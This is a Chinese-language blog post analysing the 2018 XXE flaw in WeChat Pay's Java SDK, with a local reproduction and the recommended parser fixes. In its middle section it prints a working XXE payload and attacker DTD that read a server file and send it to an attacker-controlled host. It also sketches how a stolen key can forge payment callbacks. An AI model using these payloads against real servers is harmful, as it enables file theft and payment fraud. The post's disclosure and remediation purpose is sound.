昨天(2018-07-04)微信支付的SDK曝出重大漏洞(XXE漏洞),經過該漏洞,攻擊者能夠獲取服務器中目錄結構、文件內容,如代碼、各類私鑰等。獲取這些信息之後,攻擊者即可覺得所欲爲,其中就包括衆多媒體所宣傳的「0元也能買買買」。php
漏洞報告地址;http://seclists.org/fulldisclosure/2018/Jul/3html
這次曝出的漏洞屬於XXE漏洞,即XML外部實體注入(XML External Entity Injection)。java
XML文檔除了能夠包含聲明和元素之外,還能夠包含文檔類型定義(即DTD);以下圖所示。web
在DTD中,能夠引進實體,在解析XML時,實體將會被替換成相應的引用內容。該實體能夠由外部引入(支持http、ftp等協議,後文以http爲例說明),若是經過該外部實體進行攻擊,就是XXE攻擊。spring
能夠說,XXE漏洞之因此可以存在,本質上在於在解析XML的時候,能夠與外部進行通訊;當XML文檔能夠由攻擊者任意構造時,攻擊便成爲可能。在利用XXE漏洞能夠作的事情當中,最多見最容易實現的,即是讀取服務器的信息,包括目錄結構、文件內容等;本次微信支付爆出的漏洞便屬於這一種。shell
本次漏洞影響的範圍是:在微信支付異步回調接口中,使用微信支付SDK進行XML解析的應用。注意這裏的SDK是服務器端的SDK,APP端使用SDK並不受影響。apache
SDK下載地址以下(目前微信官方宣傳漏洞已修復):https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zipjson
SDK中致使漏洞的代碼是WXPayUtil工具類中的xmlToMap()方法:api
如上圖所示,因爲在解析XML時沒有對外部實體的訪問作任何限制,若是攻擊者惡意構造xml請求,即可以對服務器進行攻擊。下面經過實例介紹攻擊的方法。安全
下面在本機環境下進行復現。
假設本地的web服務器127.0.0.1:8080中存在POST接口:/wxpay/callback,該接口中接收xml字符串作參數,並調用前述的WXPayUtil.xmlToMap(strXml)對xml參數進行解析。此外,/etc/password中存儲了重要的密碼數據(如password1234)。
攻擊時構造的請求以下:
其中xml內容以下:
1
2
3
4
5
6
|
<?
xml
version="1.0" encoding="utf-8"?>
<!
DOCTYPE
root [
<!ENTITY % file SYSTEM "file:///etc/password">
<!
ENTITY
% xxe SYSTEM "http://127.0.0.1:9000/xxe.dtd">
%xxe;
]>
|
其中/etc/password爲要竊取的對象,http://127.0.0.1:9000/xxe.dtd爲攻擊者服務器中的dtd文件,內容以下:
1
2
3
|
<!
ENTITY
% shell "<!ENTITY % upload SYSTEM 'http://127.0.0.1:9000/evil/%file;'>">
%shell;
%upload;
|
經過xml+dtd文件,攻擊者即可以的服務器http://127.0.0.1:9000中會收到以下請求:
http://127.0.0.1:9000/evil/password1234
這樣,攻擊者便獲得了/etc/password文件的內容。
在本例中,攻擊者竊取了/etc/password文件中的內容,實際上攻擊者還能夠獲取服務器中的目錄結構以及其餘文件,只要啓動web應用的用戶具備相應的讀權限。若是獲取的信息比較複雜,如包含特殊符號,沒法直接經過http的URL發送,則能夠採用對文件內容進行Base64編碼等方法解決。
解決該漏洞的原理很是簡單,只要禁止解析XML時訪問外部實體便可。
漏洞曝出之後,微信進行了緊急修復,一方面是更新了SDK,並提醒開發者使用最新的SDK;SDK中修復代碼以下:
加入了以下兩行代碼:
1
2
|
documentBuilderFactory.setExpandEntityReferences(
false
);
documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING,
true
);
|
此外,微信官方也給出了關於XXE漏洞的最佳安全實踐,能夠參考:
https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5
筆者本人使用上述方案中建議的以下代碼修復了該漏洞:
1
2
3
4
|
DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
documentBuilderFactory.setFeature(
"http://apache.org/xml/features/disallow-doctype-decl"
,
true
);
DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();
……
|
在不少媒體的報道中,強調該漏洞的風險在於攻擊者能夠不支付也能夠得到商品。攻擊者在經過上述漏洞得到微信支付的祕鑰之後,有不止一種途徑能夠作到不支付就得到商品:例如,攻擊者首先在系統中下單,得到商戶訂單號;而後即可以調用微信支付的異步回調,其中的簽名參數即可以使用前面獲取的祕鑰對訂單號等信息進行MD5得到;這樣攻擊者的異步回調就能夠經過應用服務器的簽名認證,從而得到商品。不過,在不少有必定規模的購物網站(或其餘有支付功能的網站),會有對帳系統,如定時將系統中的訂單狀態與微信、支付寶的後臺對比,若是出現不一致能夠及時報警並處理,所以該漏洞在這方面的影響可能並無想象的那麼大。
然而,除了「0元也能買買買」,攻擊者能夠作的事情還有不少不少;理論上來講,攻擊者可能得到應用服務器上的目錄結構、代碼、數據、配置文件等,能夠根據須要進行進一步破壞。
雖然微信支付曝出該漏洞受到了普遍關注,但該漏洞毫不僅僅存在於微信支付中:因爲衆多XML解析器默認不會禁用對外部實體的訪問,所以應用的接口若是有如下幾個特色就很容易掉進XXE漏洞的坑裏:
(1)接口使用xml作請求參數
(2)接口對外公開,或容易得到:例如一些接口提供給外部客戶調用,或者接口使用http很容易抓包,或者接口比較容易猜到(如微信支付的異步回調接口)
(3)接口中解析xml參數時,沒有禁用對外部實體的訪問
建議你們最好檢查一下本身的應用中是否有相似的漏洞,及時修復。
xml 與 json是系統間交互經常使用的兩種數據格式,雖然不少狀況下兩者能夠互換,可是筆者認爲,json 做爲更加輕量級更加純粹的數據格式,更適合於系統間的交互;而xml,做爲更加劇量級更加複雜的數據格式,其 DTD 支持自定義文檔類型,在更加複雜的配置場景下有着更好的效果,典型的場景如 spring 相關的配置。
在前面曾經提到,應用中存儲的祕鑰一旦泄露,攻擊者即可以徹底繞過簽名認證,這是由於微信支付使用的是對稱式的簽名認證:微信方和應用方,使用相同的祕鑰對相同的明文進行MD5簽名,只要應用方的祕鑰泄露,簽名認證就徹底成了擺設。
在這方面支付寶的作法更規範也更安全:支付寶爲應用生成公私鑰對,公鑰由應用方保存,私鑰由支付寶保存;在回調時,支付寶使用私鑰進行簽名,應用方使用公鑰進行驗證;這樣只要支付寶保存的私鑰不泄露,攻擊者只有公鑰則難以經過簽名認證。
https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5
http://seclists.org/fulldisclosure/2018/Jul/3
https://www.cnblogs.com/tongwen/p/5194483.html